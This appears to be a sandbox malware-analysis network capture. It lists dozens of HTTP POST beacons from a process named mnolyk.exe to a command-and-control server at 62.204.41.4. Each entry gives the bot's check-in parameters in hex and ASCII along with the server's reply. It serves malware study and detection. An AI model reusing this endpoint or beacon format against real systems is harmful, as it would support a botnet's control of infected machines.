Feb 8, 2023 21:32:03.296837091 CET	368	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:03.360726118 CET	368	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.3	49870	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:03.546237946 CET	369	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:03.608895063 CET	369	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.3	49871	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:03.779794931 CET	370	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:03.844167948 CET	370	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49718	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:15.921504021 CET	218	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:15.985985994 CET	218	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.3	49872	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:04.015501976 CET	371	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:04.082180023 CET	371	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.3	49873	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:04.268049002 CET	371	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:04.331665039 CET	372	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.3	49874	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:04.500032902 CET	373	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:04.563184023 CET	373	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.3	49875	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:04.746049881 CET	374	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:04.810132980 CET	374	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.3	49876	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:04.982214928 CET	375	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:05.048247099 CET	375	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.3	49877	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:05.223018885 CET	375	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:05.286161900 CET	376	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.3	49878	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:05.452116966 CET	377	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:05.518059969 CET	377	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.3	49879	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:05.692639112 CET	378	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:05.757045984 CET	378	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.3	49880	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:05.941168070 CET	379	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:06.007395029 CET	379	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.3	49881	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:06.188564062 CET	380	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:06.255192995 CET	380	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49719	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:17.030553102 CET	219	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:17.097150087 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.3	49882	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:06.440098047 CET	380	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:06.503624916 CET	381	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.3	49883	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:06.680162907 CET	382	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:06.744971037 CET	382	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.3	49884	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:06.923409939 CET	383	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:06.988398075 CET	383	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.3	49885	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:07.169003963 CET	384	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:07.232494116 CET	384	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.3	49886	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:07.408943892 CET	385	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:07.470880985 CET	385	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.3	49887	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:07.638708115 CET	386	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:07.702848911 CET	386	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.3	49888	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:07.875066042 CET	387	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:07.939343929 CET	387	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.3	49889	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
